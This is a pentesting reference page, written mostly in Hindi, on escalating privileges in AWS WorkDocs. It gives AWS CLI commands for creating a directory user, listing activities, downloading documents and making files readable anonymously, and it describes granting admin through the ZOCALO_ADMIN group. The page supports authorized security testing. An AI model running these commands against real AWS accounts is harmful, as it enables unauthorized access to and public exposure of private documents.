AWS - WorkDocs Privesc

WorkDocs

WorkDocs के बारे में अधिक जानकारी के लिए देखें:

pageAWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

दिए गए निर्देशित निर्देशिका में एक उपयोगकर्ता बनाएं, फिर आपको वर्कडॉक्स और एडी दोनों तक पहुंच होगी:

# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

फ़ाइलों में संवेदनशील जानकारी हो सकती है, उन्हें पढ़ें:

# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

यदि आपको किसी चीज़ को पढ़ने का अधिकार नहीं है, तो आप इसे सीधे प्रदान कर सकते हैं।

# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:AddUserToGroup

आप उपयोगकर्ता को व्यवस्थापक बना सकते हैं उसे समूह ZOCALO_ADMIN में सेट करके। इसके लिए https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html से निर्देशों का पालन करें।

उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और /workdocs/index.html#/admin में व्यवस्थापक पैनल तक पहुंचें।

मुझे cli से इसे करने का कोई तरीका नहीं मिला।

Last updated